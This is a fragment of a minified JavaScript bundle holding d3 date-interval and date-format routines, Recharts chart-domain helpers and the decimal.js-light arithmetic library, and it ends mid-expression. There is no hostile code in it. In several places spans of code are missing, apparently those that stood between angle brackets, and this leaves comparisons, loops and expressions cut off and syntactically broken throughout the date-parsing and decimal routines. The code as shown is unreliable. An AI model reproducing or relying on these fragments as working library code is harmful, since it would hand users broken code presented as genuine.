TN=st(e=>{e.setUTCHours(0,0,0,0)},(e,t)=>{e.setUTCDate(e.getUTCDate()+t)},(e,t)=>(t-e)/vr,e=>Math.floor(e/vr));TN.range;function Zi(e){return st(t=>{t.setDate(t.getDate()-(t.getDay()+7-e)%7),t.setHours(0,0,0,0)},(t,n)=>{t.setDate(t.getDate()+n*7)},(t,n)=>(n-t-(n.getTimezoneOffset()-t.getTimezoneOffset())*pn)/Kx)}const Pd=Zi(0),cu=Zi(1),cL=Zi(2),uL=Zi(3),Wa=Zi(4),dL=Zi(5),fL=Zi(6);Pd.range;cu.range;cL.range;uL.range;Wa.range;dL.range;fL.range;function Qi(e){return st(t=>{t.setUTCDate(t.getUTCDate()-(t.getUTCDay()+7-e)%7),t.setUTCHours(0,0,0,0)},(t,n)=>{t.setUTCDate(t.getUTCDate()+n*7)},(t,n)=>(n-t)/Kx)}const Ed=Qi(0),uu=Qi(1),pL=Qi(2),mL=Qi(3),Ua=Qi(4),hL=Qi(5),xL=Qi(6);Ed.range;uu.range;pL.range;mL.range;Ua.range;hL.range;xL.range;const Zx=st(e=>{e.setDate(1),e.setHours(0,0,0,0)},(e,t)=>{e.setMonth(e.getMonth()+t)},(e,t)=>t.getMonth()-e.getMonth()+(t.getFullYear()-e.getFullYear())*12,e=>e.getMonth());Zx.range;const Qx=st(e=>{e.setUTCDate(1),e.setUTCHours(0,0,0,0)},(e,t)=>{e.setUTCMonth(e.getUTCMonth()+t)},(e,t)=>t.getUTCMonth()-e.getUTCMonth()+(t.getUTCFullYear()-e.getUTCFullYear())*12,e=>e.getUTCMonth());Qx.range;const gr=st(e=>{e.setMonth(0,1),e.setHours(0,0,0,0)},(e,t)=>{e.setFullYear(e.getFullYear()+t)},(e,t)=>t.getFullYear()-e.getFullYear(),e=>e.getFullYear());gr.every=e=>!isFinite(e=Math.floor(e))||!(e>0)?null:st(t=>{t.setFullYear(Math.floor(t.getFullYear()/e)*e),t.setMonth(0,1),t.setHours(0,0,0,0)},(t,n)=>{t.setFullYear(t.getFullYear()+n*e)});gr.range;const yr=st(e=>{e.setUTCMonth(0,1),e.setUTCHours(0,0,0,0)},(e,t)=>{e.setUTCFullYear(e.getUTCFullYear()+t)},(e,t)=>t.getUTCFullYear()-e.getUTCFullYear(),e=>e.getUTCFullYear());yr.every=e=>!isFinite(e=Math.floor(e))||!(e>0)?null:st(t=>{t.setUTCFullYear(Math.floor(t.getUTCFullYear()/e)*e),t.setUTCMonth(0,1),t.setUTCHours(0,0,0,0)},(t,n)=>{t.setUTCFullYear(t.getUTCFullYear()+n*e)});yr.range;function MN(e,t,n,r,i,a){const o=[[Pi,1,sr],[Pi,5,5*sr],[Pi,15,15*sr],[Pi,30,30*sr],[a,1,pn],[a,5,5*pn],[a,15,15*pn],[a,30,30*pn],[i,1,or],[i,3,3*or],[i,6,6*or],[i,12,12*or],[r,1,vr],[r,2,2*vr],[n,1,Kx],[t,1,E1],[t,3,3*E1],[e,1,Yf]];function l(u,d,f){const m=dy).right(o,m);if(h===o.length)return e.every(Wm(u/Yf,d/Yf,f));if(h===0)return lu.every(Math.max(Wm(u,d,f),1));const[x,g]=o[m/o[h-1][2]53)return null;"w"in A||(A.w=1),"Z"in A?(le=Xf(js(A.y,0,1)),me=le.getUTCDay(),le=me>4||me===0?uu.ceil(le):uu(le),le=Cd.offset(le,(A.V-1)*7),A.y=le.getUTCFullYear(),A.m=le.getUTCMonth(),A.d=le.getUTCDate()+(A.w+6)%7):(le=Gf(js(A.y,0,1)),me=le.getDay(),le=me>4||me===0?cu.ceil(le):cu(le),le=Ho.offset(le,(A.V-1)*7),A.y=le.getFullYear(),A.m=le.getMonth(),A.d=le.getDate()+(A.w+6)%7)}else("W"in A||"U"in A)&&("w"in A||(A.w="u"in A?A.u%7:"W"in A?1:0),me="Z"in A?Xf(js(A.y,0,1)).getUTCDay():Gf(js(A.y,0,1)).getDay(),A.m=0,A.d="W"in A?(A.w+6)%7+A.W*7-(me+5)%7:A.w+A.U*7-(me+6)%7);return"Z"in A?(A.H+=A.Z/100|0,A.M+=A.Z%100,Xf(A)):Gf(A)}}function z(P,C,D,A){for(var Z=0,le=C.length,me=D.length,ge,M;Z=me)return-1;if(ge=C.charCodeAt(Z++),ge===37){if(ge=C.charAt(Z++),M=k[ge in A1?C.charAt(Z++):ge],!M||(A=M(P,D,A))<0)return-1}else if(ge!=D.charCodeAt(A++))return-1}return A}function O(P,C,D){var A=u.exec(C.slice(D));return A?(P.p=d.get(A[0].toLowerCase()),D+A[0].length):-1}function _(P,C,D){var A=h.exec(C.slice(D));return A?(P.w=x.get(A[0].toLowerCase()),D+A[0].length):-1}function T(P,C,D){var A=f.exec(C.slice(D));return A?(P.w=m.get(A[0].toLowerCase()),D+A[0].length):-1}function E(P,C,D){var A=v.exec(C.slice(D));return A?(P.m=b.get(A[0].toLowerCase()),D+A[0].length):-1}function U(P,C,D){var A=g.exec(C.slice(D));return A?(P.m=y.get(A[0].toLowerCase()),D+A[0].length):-1}function K(P,C,D){return z(P,t,C,D)}function R(P,C,D){return z(P,n,C,D)}function I(P,C,D){return z(P,r,C,D)}function F(P){return o[P.getDay()]}function B(P){return a[P.getDay()]}function V(P){return c[P.getMonth()]}function $(P){return l[P.getMonth()]}function q(P){return i[+(P.getHours()>=12)]}function Y(P){return 1+~~(P.getMonth()/3)}function ie(P){return o[P.getUTCDay()]}function ae(P){return a[P.getUTCDay()]}function fe(P){return c[P.getUTCMonth()]}function de(P){return l[P.getUTCMonth()]}function G(P){return i[+(P.getUTCHours()>=12)]}function te(P){return 1+~~(P.getUTCMonth()/3)}return{format:function(P){var C=S(P+="",w);return C.toString=function(){return P},C},parse:function(P){var C=N(P+="",!1);return C.toString=function(){return P},C},utcFormat:function(P){var C=S(P+="",j);return C.toString=function(){return P},C},utcParse:function(P){var C=N(P+="",!0);return C.toString=function(){return P},C}}}var A1={"-":"",_:" ",0:"0"},pt=/^\s*\d+/,jL=/^%/,kL=/[\\^$*+?|[\]().{}]/g;function be(e,t,n){var r=e<0?"-":"",i=(r?-e:e)+"",a=i.length;return r+(a[t.toLowerCase(),n]))}function SL(e,t,n){var r=pt.exec(t.slice(n,n+1));return r?(e.w=+r[0],n+r[0].length):-1}function zL(e,t,n){var r=pt.exec(t.slice(n,n+1));return r?(e.u=+r[0],n+r[0].length):-1}function CL(e,t,n){var r=pt.exec(t.slice(n,n+2));return r?(e.U=+r[0],n+r[0].length):-1}function PL(e,t,n){var r=pt.exec(t.slice(n,n+2));return r?(e.V=+r[0],n+r[0].length):-1}function EL(e,t,n){var r=pt.exec(t.slice(n,n+2));return r?(e.W=+r[0],n+r[0].length):-1}function _1(e,t,n){var r=pt.exec(t.slice(n,n+4));return r?(e.y=+r[0],n+r[0].length):-1}function O1(e,t,n){var r=pt.exec(t.slice(n,n+2));return r?(e.y=+r[0]+(+r[0]>68?1900:2e3),n+r[0].length):-1}function AL(e,t,n){var r=/^(Z)|([+-]\d\d)(?::?(\d\d))?/.exec(t.slice(n,n+6));return r?(e.Z=r[1]?0:-(r[2]+(r[3]||"00")),n+r[0].length):-1}function _L(e,t,n){var r=pt.exec(t.slice(n,n+1));return r?(e.q=r[0]*3-3,n+r[0].length):-1}function OL(e,t,n){var r=pt.exec(t.slice(n,n+2));return r?(e.m=r[0]-1,n+r[0].length):-1}function T1(e,t,n){var r=pt.exec(t.slice(n,n+2));return r?(e.d=+r[0],n+r[0].length):-1}function TL(e,t,n){var r=pt.exec(t.slice(n,n+3));return r?(e.m=0,e.d=+r[0],n+r[0].length):-1}function M1(e,t,n){var r=pt.exec(t.slice(n,n+2));return r?(e.H=+r[0],n+r[0].length):-1}function ML(e,t,n){var r=pt.exec(t.slice(n,n+2));return r?(e.M=+r[0],n+r[0].length):-1}function LL(e,t,n){var r=pt.exec(t.slice(n,n+2));return r?(e.S=+r[0],n+r[0].length):-1}function IL(e,t,n){var r=pt.exec(t.slice(n,n+3));return r?(e.L=+r[0],n+r[0].length):-1}function DL(e,t,n){var r=pt.exec(t.slice(n,n+6));return r?(e.L=Math.floor(r[0]/1e3),n+r[0].length):-1}function RL(e,t,n){var r=jL.exec(t.slice(n,n+1));return r?n+r[0].length:-1}function $L(e,t,n){var r=pt.exec(t.slice(n));return r?(e.Q=+r[0],n+r[0].length):-1}function BL(e,t,n){var r=pt.exec(t.slice(n));return r?(e.s=+r[0],n+r[0].length):-1}function L1(e,t){return be(e.getDate(),t,2)}function FL(e,t){return be(e.getHours(),t,2)}function WL(e,t){return be(e.getHours()%12||12,t,2)}function UL(e,t){return be(1+Ho.count(gr(e),e),t,3)}function LN(e,t){return be(e.getMilliseconds(),t,3)}function VL(e,t){return LN(e,t)+"000"}function HL(e,t){return be(e.getMonth()+1,t,2)}function KL(e,t){return be(e.getMinutes(),t,2)}function qL(e,t){return be(e.getSeconds(),t,2)}function YL(e){var t=e.getDay();return t===0?7:t}function GL(e,t){return be(Pd.count(gr(e)-1,e),t,2)}function IN(e){var t=e.getDay();return t>=4||t===0?Wa(e):Wa.ceil(e)}function XL(e,t){return e=IN(e),be(Wa.count(gr(e),e)+(gr(e).getDay()===4),t,2)}function ZL(e){return e.getDay()}function QL(e,t){return be(cu.count(gr(e)-1,e),t,2)}function JL(e,t){return be(e.getFullYear()%100,t,2)}function eI(e,t){return e=IN(e),be(e.getFullYear()%100,t,2)}function tI(e,t){return be(e.getFullYear()%1e4,t,4)}function nI(e,t){var n=e.getDay();return e=n>=4||n===0?Wa(e):Wa.ceil(e),be(e.getFullYear()%1e4,t,4)}function rI(e){var t=e.getTimezoneOffset();return(t>0?"-":(t*=-1,"+"))+be(t/60|0,"0",2)+be(t%60,"0",2)}function I1(e,t){return be(e.getUTCDate(),t,2)}function iI(e,t){return be(e.getUTCHours(),t,2)}function aI(e,t){return be(e.getUTCHours()%12||12,t,2)}function sI(e,t){return be(1+Cd.count(yr(e),e),t,3)}function DN(e,t){return be(e.getUTCMilliseconds(),t,3)}function oI(e,t){return DN(e,t)+"000"}function lI(e,t){return be(e.getUTCMonth()+1,t,2)}function cI(e,t){return be(e.getUTCMinutes(),t,2)}function uI(e,t){return be(e.getUTCSeconds(),t,2)}function dI(e){var t=e.getUTCDay();return t===0?7:t}function fI(e,t){return be(Ed.count(yr(e)-1,e),t,2)}function RN(e){var t=e.getUTCDay();return t>=4||t===0?Ua(e):Ua.ceil(e)}function pI(e,t){return e=RN(e),be(Ua.count(yr(e),e)+(yr(e).getUTCDay()===4),t,2)}function mI(e){return e.getUTCDay()}function hI(e,t){return be(uu.count(yr(e)-1,e),t,2)}function xI(e,t){return be(e.getUTCFullYear()%100,t,2)}function vI(e,t){return e=RN(e),be(e.getUTCFullYear()%100,t,2)}function gI(e,t){return be(e.getUTCFullYear()%1e4,t,4)}function yI(e,t){var n=e.getUTCDay();return e=n>=4||n===0?Ua(e):Ua.ceil(e),be(e.getUTCFullYear()%1e4,t,4)}function bI(){return"+0000"}function D1(){return"%"}function R1(e){return+e}function $1(e){return Math.floor(+e/1e3)}var ta,$N,BN;wI({dateTime:"%x, %X",date:"%-m/%-d/%Y",time:"%-I:%M:%S %p",periods:["AM","PM"],days:["Sunday","Monday","Tuesday","Wednesday","Thursday","Friday","Saturday"],shortDays:["Sun","Mon","Tue","Wed","Thu","Fri","Sat"],months:["January","February","March","April","May","June","July","August","September","October","November","December"],shortMonths:["Jan","Feb","Mar","Apr","May","Jun","Jul","Aug","Sep","Oct","Nov","Dec"]});function wI(e){return ta=wL(e),$N=ta.format,ta.parse,BN=ta.utcFormat,ta.utcParse,ta}function jI(e){return new Date(e)}function kI(e){return e instanceof Date?+e:+new Date(+e)}function Jx(e,t,n,r,i,a,o,l,c,u){var d=$x(),f=d.invert,m=d.domain,h=u(".%L"),x=u(":%S"),g=u("%I:%M"),y=u("%I %p"),v=u("%a %d"),b=u("%b %d"),w=u("%B"),j=u("%Y");function k(S){return(c(S)t(i/(e.length-1)))},n.quantiles=function(r){return Array.from({length:r+1},(i,a)=>d8(e,a/r))},n.copy=function(){return VN(t).domain(e)},Cr.apply(n,arguments)}function _d(){var e=0,t=.5,n=1,r=1,i,a,o,l,c,u=Pt,d,f=!1,m;function h(g){return isNaN(g=+g)?m:(g=.5+((g=+d(g))-a)*(r*ge.chartData,Od=L([Pr],e=>{var t=e.chartData!=null?e.chartData.length-1:0;return{chartData:e.chartData,computedData:e.computedData,dataEndIndex:t,dataStartIndex:0}}),YN=(e,t,n,r)=>r?Od(e):Pr(e),PI=(e,t,n)=>n?Od(e):Pr(e);function br(e){if(Array.isArray(e)&&e.length===2){var[t,n]=e;if(ye(t)&&ye(n))return!0}return!1}function B1(e,t,n){return n?e:[Math.min(e[0],t[0]),Math.max(e[1],t[1])]}function GN(e,t){if(t&&typeof e!="function"&&Array.isArray(e)&&e.length===2){var[n,r]=e,i,a;if(ye(n))i=n;else if(typeof n=="function")return;if(ye(r))a=r;else if(typeof r=="function")return;var o=[i,a];if(br(o))return o}}function EI(e,t,n){if(!(!n&&t==null)){if(typeof e=="function"&&t!=null)try{var r=e(t,n);if(br(r))return B1(r,t,n)}catch{}if(Array.isArray(e)&&e.length===2){var[i,a]=e,o,l;if(i==="auto")t!=null&&(o=Math.min(...t));else if(ue(i))o=i;else if(typeof i=="function")try{t!=null&&(o=i(t==null?void 0:t[0]))}catch{}else if(typeof i=="string"&&iy.test(i)){var c=iy.exec(i);if(c==null||c[1]==null||t==null)o=void 0;else{var u=+c[1];o=t[0]-u}}else o=t==null?void 0:t[0];if(a==="auto")t!=null&&(l=Math.max(...t));else if(ue(a))l=a;else if(typeof a=="function")try{t!=null&&(l=a(t==null?void 0:t[1]))}catch{}else if(typeof a=="string"&&ay.test(a)){var d=ay.exec(a);if(d==null||d[1]==null||t==null)l=void 0;else{var f=+d[1];l=t[1]+f}}else l=t==null?void 0:t[1];var m=[o,l];if(br(m))return t==null?m:B1(m,t,n)}}}var es=1e9,AI={precision:20,rounding:4,toExpNeg:-7,toExpPos:21,LN10:"2.302585092994045684017991454684364207601101488628772976033327900967572609677352480235997205089598298341967784042286"},r0,$e=!0,gn="[DecimalError] ",Ti=gn+"Invalid argument: ",n0=gn+"Exponent out of range: ",ts=Math.floor,wi=Math.pow,_I=/^(\d+(\.\d*)?|\.\d+)(e[+-]?\d+)?$/i,qt,ct=1e7,Te=7,XN=9007199254740991,du=ts(XN/Te),oe={};oe.absoluteValue=oe.abs=function(){var e=new this.constructor(this);return e.s&&(e.s=1),e};oe.comparedTo=oe.cmp=function(e){var t,n,r,i,a=this;if(e=new a.constructor(e),a.s!==e.s)return a.s||-e.s;if(a.e!==e.e)return a.e>e.e^a.s<0?1:-1;for(r=a.d.length,i=e.d.length,t=0,n=re.d[t]^a.s<0?1:-1;return r===i?0:r>i^a.s<0?1:-1};oe.decimalPlaces=oe.dp=function(){var e=this,t=e.d.length-1,n=(t-e.e)*Te;if(t=e.d[t],t)for(;t%10==0;t/=10)n--;return n<0?0:n};oe.dividedBy=oe.div=function(e){return cr(this,new this.constructor(e))};oe.dividedToIntegerBy=oe.idiv=function(e){var t=this,n=t.constructor;return Se(cr(t,new n(e),0,1),n.precision)};oe.equals=oe.eq=function(e){return!this.cmp(e)};oe.exponent=function(){return tt(this)};oe.greaterThan=oe.gt=function(e){return this.cmp(e)>0};oe.greaterThanOrEqualTo=oe.gte=function(e){return this.cmp(e)>=0};oe.isInteger=oe.isint=function(){return this.e>this.d.length-2};oe.isNegative=oe.isneg=function(){return this.s<0};oe.isPositive=oe.ispos=function(){return this.s>0};oe.isZero=function(){return this.s===0};oe.lessThan=oe.lt=function(e){return this.cmp(e)<0};oe.lessThanOrEqualTo=oe.lte=function(e){return this.cmp(e)<1};oe.logarithm=oe.log=function(e){var t,n=this,r=n.constructor,i=r.precision,a=i+5;if(e===void 0)e=new r(10);else if(e=new r(e),e.s<1||e.eq(qt))throw Error(gn+"NaN");if(n.s<1)throw Error(gn+(n.s?"NaN":"-Infinity"));return n.eq(qt)?new r(0):($e=!1,t=cr(Co(n,a),Co(e,a),a),$e=!0,Se(t,i))};oe.minus=oe.sub=function(e){var t=this;return e=new t.constructor(e),t.s==e.s?JN(t,e):ZN(t,(e.s=-e.s,e))};oe.modulo=oe.mod=function(e){var t,n=this,r=n.constructor,i=r.precision;if(e=new r(e),!e.s)throw Error(gn+"NaN");return n.s?($e=!1,t=cr(n,e,0,1).times(e),$e=!0,n.minus(t)):Se(new r(n),i)};oe.naturalExponential=oe.exp=function(){return QN(this)};oe.naturalLogarithm=oe.ln=function(){return Co(this)};oe.negated=oe.neg=function(){var e=new this.constructor(this);return e.s=-e.s||0,e};oe.plus=oe.add=function(e){var t=this;return e=new t.constructor(e),t.s==e.s?ZN(t,e):JN(t,(e.s=-e.s,e))};oe.precision=oe.sd=function(e){var t,n,r,i=this;if(e!==void 0&&e!==!!e&&e!==1&&e!==0)throw Error(Ti+e);if(t=tt(i)+1,r=i.d.length-1,n=r*Te+1,r=i.d[r],r){for(;r%10==0;r/=10)n--;for(r=i.d[0];r>=10;r/=10)n++}return e&&t>n?t:n};oe.squareRoot=oe.sqrt=function(){var e,t,n,r,i,a,o,l=this,c=l.constructor;if(l.s<1){if(!l.s)return new c(0);throw Error(gn+"NaN")}for(e=tt(l),$e=!1,i=Math.sqrt(+l),i==0||i==1/0?(t=Hn(l.d),(t.length+e)%2==0&&(t+="0"),i=Math.sqrt(t),e=ts((e+1)/2)-(e<0||e%2),i==1/0?t="5e"+e:(t=i.toExponential(),t=t.slice(0,t.indexOf("e")+1)+e),r=new c(t)):r=new c(i.toString()),n=c.precision,i=o=n+3;;)if(a=r,r=a.plus(cr(l,a,o+2)).times(.5),Hn(a.d).slice(0,o)===(t=Hn(r.d)).slice(0,o)){if(t=t.slice(o-3,o+1),i==o&&t=="4999"){if(Se(a,n+1,0),a.times(a).eq(l)){r=a;break}}else if(t!="9999")break;o+=4}return $e=!0,Se(r,n)};oe.times=oe.mul=function(e){var t,n,r,i,a,o,l,c,u,d=this,f=d.constructor,m=d.d,h=(e=new f(e)).d;if(!d.s||!e.s)return new f(0);for(e.s*=d.s,n=d.e+e.e,c=m.length,u=h.length,c=0;){for(t=0,i=c+r;i>r;)l=a[i]+h[r]*m[i-r-1]+t,a[i--]=l%ct|0,t=l/ct|0;a[i]=(a[i]+t)%ct|0}for(;!a[--o];)a.pop();return t?++n:a.shift(),e.d=a,e.e=n,$e?Se(e,f.precision):e};oe.toDecimalPlaces=oe.todp=function(e,t){var n=this,r=n.constructor;return n=new r(n),e===void 0?n:(Xn(e,0,es),t===void 0?t=r.rounding:Xn(t,0,8),Se(n,e+tt(n)+1,t))};oe.toExponential=function(e,t){var n,r=this,i=r.constructor;return e===void 0?n=qi(r,!0):(Xn(e,0,es),t===void 0?t=i.rounding:Xn(t,0,8),r=Se(new i(r),e+1,t),n=qi(r,!0,e+1)),n};oe.toFixed=function(e,t){var n,r,i=this,a=i.constructor;return e===void 0?qi(i):(Xn(e,0,es),t===void 0?t=a.rounding:Xn(t,0,8),r=Se(new a(i),e+tt(i)+1,t),n=qi(r.abs(),!1,e+tt(r)+1),i.isneg()&&!i.isZero()?"-"+n:n)};oe.toInteger=oe.toint=function(){var e=this,t=e.constructor;return Se(new t(e),tt(e)+1,t.rounding)};oe.toNumber=function(){return+this};oe.toPower=oe.pow=function(e){var t,n,r,i,a,o,l=this,c=l.constructor,u=12,d=+(e=new c(e));if(!e.s)return new c(qt);if(l=new c(l),!l.s){if(e.s<1)throw Error(gn+"Infinity");return l}if(l.eq(qt))return l;if(r=c.precision,e.eq(qt))return Se(l,r);if(t=e.e,n=e.d.length-1,o=t>=n,a=l.s,o){if((n=d<0?-d:d)<=XN){for(i=new c(qt),t=Math.ceil(r/Te+4),$e=!1;n%2&&(i=i.times(l),W1(i.d,t)),n=ts(n/2),n!==0;)l=l.times(l),W1(l.d,t);return $e=!0,e.s<0?new c(qt).div(i):Se(i,r)}}else if(a<0)throw Error(gn+"NaN");return a=a<0&&e.d[Math.max(t,n)]&1?-1:1,l.s=1,$e=!1,i=e.times(Co(l,r+u)),$e=!0,i=QN(i),i.s=a,i};oe.toPrecision=function(e,t){var n,r,i=this,a=i.constructor;return e===void 0?(n=tt(i),r=qi(i,n<=a.toExpNeg||n>=a.toExpPos)):(Xn(e,1,es),t===void 0?t=a.rounding:Xn(t,0,8),i=Se(new a(i),e,t),n=tt(i),r=qi(i,e<=n||n<=a.toExpNeg,e)),r};oe.toSignificantDigits=oe.tosd=function(e,t){var n=this,r=n.constructor;return e===void 0?(e=r.precision,t=r.rounding):(Xn(e,1,es),t===void 0?t=r.rounding:Xn(t,0,8)),Se(new r(n),e,t)};oe.toString=oe.valueOf=oe.val=oe.toJSON=oe[Symbol.for("nodejs.util.inspect.custom")]=function(){var e=this,t=tt(e),n=e.constructor;return qi(e,t<=n.toExpNeg||t>=n.toExpPos)};function ZN(e,t){var n,r,i,a,o,l,c,u,d=e.constructor,f=d.precision;if(!e.s||!t.s)return t.s||(t=new d(e)),$e?Se(t,f):t;if(c=e.d,u=t.d,o=e.e,i=t.e,c=c.slice(),a=o-i,a){for(a<0?(r=c,a=-a,l=u.length):(r=u,i=o,l=c.length),o=Math.ceil(f/Te),l=o>l?o+1:l+1,a>l&&(a=l,r.length=1),r.reverse();a--;)r.push(0);r.reverse()}for(l=c.length,a=u.length,l-a<0&&(a=l,r=u,u=c,c=r),n=0;a;)n=(c[--a]=c[a]+u[a]+n)/ct|0,c[a]%=ct;for(n&&(c.unshift(n),++i),l=c.length;c[--l]==0;)c.pop();return t.d=c,t.e=i,$e?Se(t,f):t}function Xn(e,t,n){if(e!==~~e||en)throw Error(Ti+e)}function Hn(e){var t,n,r,i=e.length-1,a="",o=e[0];if(i>0){for(a+=o,t=1;to?1:-1;else for(l=c=0;li[l]?1:-1;break}return c}function n(r,i,a){for(var o=0;a--;)r[a]-=o,o=r[a]1;)r.shift()}return function(r,i,a,o){var l,c,u,d,f,m,h,x,g,y,v,b,w,j,k,S,N,z,O=r.constructor,_=r.s==i.s?1:-1,T=r.d,E=i.d;if(!r.s)return new O(r);if(!i.s)throw Error(gn+"Division by zero");for(c=r.e-i.e,N=E.length,k=T.length,h=new O(_),x=h.d=[],u=0;E[u]==(T[u]||0);)++u;if(E[u]>(T[u]||0)&&--c,a==null?b=a=O.precision:o?b=a+(tt(r)-tt(i))+1:b=a,b<0)return new O(0);if(b=b/Te+2|0,u=0,N==1)for(d=0,E=E[0],b++;(u1&&(E=e(E,d),T=e(T,d),N=E.length,k=T.length),j=N,g=T.slice(0,N),y=g.length;y=ct/2&&++S;do d=0,l=t(E,g,N,y),l<0?(v=g[0],N!=y&&(v=v*ct+(g[1]||0)),d=v/S|0,d>1?(d>=ct&&(d=ct-1),f=e(E,d),m=f.length,y=g.length,l=t(f,g,m,y),l==1&&(d--,n(f,N16)throw Error(n0+tt(e));if(!e.s)return new d(qt);for($e=!1,l=f,o=new d(.03125);e.abs().gte(.1);)e=e.times(o),u+=5;for(r=Math.log(wi(2,u))/Math.LN10*2+5|0,l+=r,n=i=a=new d(qt),d.precision=l;;){if(i=Se(i.times(e),l),n=n.times(++c),o=a.plus(cr(i,n,l)),Hn(o.d).slice(0,l)===Hn(a.d).slice(0,l)){for(;u--;)a=Se(a.times(a),l);return d.precision=f,t==null?($e=!0,Se(a,f)):a}a=o}}function tt(e){for(var t=e.e*Te,n=e.d[0];n>=10;n/=10)t++;return t}function Zf(e,t,n){if(t>e.LN10.sd())throw $e=!0,n&&(e.precision=n),Error(gn+"LN10 precision limit exceeded");return Se(new e(e.LN10),t)}function Ir(e){for(var t="";e--;)t+="0";return t}function Co(e,t){var n,r,i,a,o,l,c,u,d,f=1,m=10,h=e,x=h.d,g=h.constructor,y=g.precision;if(h.s<1)throw Error(gn+(h.s?"NaN":"-Infinity"));if(h.eq(qt))return new g(0);if(t==null?($e=!1,u=y):u=t,h.eq(10))return t==null&&($e=!0),Zf(g,u);if(u+=m,g.precision=u,n=Hn(x),r=n.charAt(0),a=tt(h),Math.abs(a)<15e14){for(;r<7&&r!=1||r==1&&n.charAt(1)>3;)h=h.times(e),n=Hn(h.d),r=n.charAt(0),f++;a=tt(h),r>1?(h=new g("0."+n),a++):h=new g(r+"."+n.slice(1))}else return c=Zf(g,u+2,y).times(a+""),h=Co(new g(r+"."+n.slice(1)),u-m).plus(c),g.precision=y,t==null?($e=!0,Se(h,y)):h;for(l=o=h=cr(h.minus(qt),h.plus(qt),u),d=Se(h.times(h),u),i=3;;){if(o=Se(o.times(d),u),c=l.plus(cr(o,new g(i),u)),Hn(c.d).slice(0,u)===Hn(l.d).slice(0,u))return l=l.times(2),a!==0&&(l=l.plus(Zf(g,u+2,y).times(a+""))),l=cr(l,new g(f),u),g.precision=y,t==null?($e=!0,Se(l,y)):l;l=c,i+=2}}function F1(e,t){var n,r,i;for((n=t.indexOf("."))>-1&&(t=t.replace(".","")),(r=t.search(/e/i))>0?(n<0&&(n=r),n+=+t.slice(r+1),t=t.substring(0,r)):n<0&&(n=t.length),r=0;t.charCodeAt(r)===48;)++r;for(i=t.length;t.charCodeAt(i-1)===48;)--i;if(t=t.slice(r,i),t){if(i-=r,n=n-r-1,e.e=ts(n/Te),e.d=[],r=(n+1)%Te,n<0&&(r+=Te),rdu||e.e<-du))throw Error(n0+n)}else e.s=0,e.e=0,e.d=[0];return e}function Se(e,t,n){var r,i,a,o,l,c,u,d,f=e.d;for(o=1,a=f[0];a>=10;a/=10)o++;if(r=t-o,r<0)r+=Te,i=t,u=f[d=0];else{if(d=Math.ceil((r+1)/Te),a=f.length,d>=a)return e;for(u=a=f[d],o=1;a>=10;a/=10)o++;r%=Te,i=r-Te+o}if(n!==void 0&&(a=wi(10,o-i-1),l=u/a%10|0,c=t<0||f[d+1]!==void 0||u%a,c=n<4?(l||c)&&(n==0||n==(e.s<0?3:2)):l>5||l==5&&(n==4||c||n==6&&(r>0?i>0?u/wi(10,o-i):0:f[d-1])%10&1||n==(e.s<0?8:7))),t<1||!f[0])return c?(a=tt(e),f.length=1,t=t-a-1,f[0]=wi(10,(Te-t%Te)%Te),e.e=ts(-t/Te)||0):(f.length=1,f[0]=e.e=e.s=0),e;if(r==0?(f.length=d,a=1,d--):(f.length=d+1,a=wi(10,Te-r),f[d]=i>0?(u/wi(10,o-i)%wi(10,i)|0)*a:0),c)for(;;)if(d==0){(f[0]+=a)==ct&&(f[0]=1,++e.e);break}else{if(f[d]+=a,f[d]!=ct)break;f[d--]=0,a=1}for(r=f.length;f[--r]===0;)f.pop();if($e&&(e.e>du||e.e<-du))throw Error(n0+tt(e));return e}function JN(e,t){var n,r,i,a,o,l,c,u,d,f,m=e.constructor,h=m.precision;if(!e.s||!t.s)return t.s?t.s=-t.s:t=new m(e),$e?Se(t,h):t;if(c=e.d,f=t.d,r=t.e,u=e.e,c=c.slice(),o=u-r,o){for(d=o<0,d?(n=c,o=-o,l=f.length):(n=f,r=u,l=c.length),i=Math.max(Math.ceil(h/Te),l)+2,o>i&&(o=i,n.length=1),n.reverse(),i=o;i--;)n.push(0);n.reverse()}else{for(i=c.length,l=f.length,d=i0;--i)c[l++]=0;for(i=f.length;i>o;){if(c[--i]0?a=a.charAt(0)+"."+a.slice(1)+Ir(r):o>1&&(a=a.charAt(0)+"."+a.slice(1)),a=a+(i<0?"e":"e+")+i):i<0?(a="0."+Ir(-i-1)+a,n&&(r=n-o)>0&&(a+=Ir(r))):i>=o?(a+=Ir(i+1-o),n&&(r=n-i-1)>0&&(a=a+"."+Ir(r))):((r=i+1)0&&(i+1===o&&(a+="."),a+=Ir(r))),e.s<0?"-"+a:a}function W1(e,t){if(e.length>t)return e.length=t,!0}function e4(e){var t,n,r;function i(a){var o=this;if(!(o instanceof i))return new i(a);if(o.constructor=i,a instanceof i){o.s=a.s,o.e=a.e,o.d=(a=a.d)?a.slice():a;return}if(typeof a=="number"){if(a*0!==0)throw Error(Ti+a);if(a>0)o.s=1;else if(a<0)a=-a,o.s=-1;else{o.s=0,o.e=0,o.d=[0];return}if(a===~~a&&a<1e7){o.e=0,o.d=[a];return}return F1(o,a.toString())}else if(typeof a!="string")throw Error(Ti+a);if(a.charCodeAt(0)===45?(a=a.slice(1),o.s=-1):o.s=1,_I.test(a))F1(o,a);else throw Error(Ti+a)}if(i.prototype=oe,i.ROUND_UP=0,i.ROUND_DOWN=1,i.ROUND_CEIL=2,i.ROUND_FLOOR=3,i.ROUND_HALF_UP=4,i.ROUND_HALF_DOWN=5,i.ROUND_HALF_EVEN=6,i.ROUND_HALF_CEIL=7,i.ROUND_HALF_FLOOR=8,i.clone=e4,i.config=i.set=OI,e===void 0&&(e={}),e)for(r=["precision","rounding","toExpNeg","toExpPos","LN10"],t=0;t=i[t+1]&&r<=i[t+2])this[n]=r;else throw Error(Ti+n+": "+r);if((r=e[n="LN10"])!==void 0)if(r==Math.LN10)this[n]=new this(r);else throw Error(Ti+n+": "+r);return this}var r0=e4(AI);qt=new r0(1);const we=r0;function t4(e){var t;return e===0?t=1:t=Math.floor(new we(e).abs().log(10).toNumber())+1,t}function n4(e,t,n){for(var r=new we(e),i=0,a=[];r.lt(t)&&i<1e5;)a.push(r.toNumber()),r=r.add(n),i++;return a}var r4=e=>{var[t,n]=e,[r,i]=[t,n];return t>n&&([r,i]=[n,t]),[r,i]},i4=(e,t,n)=>{if(e.lte(0))return new we(0);var r=t4(e.toNumber()),i=new we(10).pow(r),a=e.div(i),o=r!==1?.05:.1,l=new we(Math.ceil(a.div(o).toNumber())).add(n).mul(o),c=l.mul(i);return t?new we(c.toNumber()):new we(Math.ceil(c.toNumber()))},TI=(e,t,n)=>{var r=new we(1),i=new 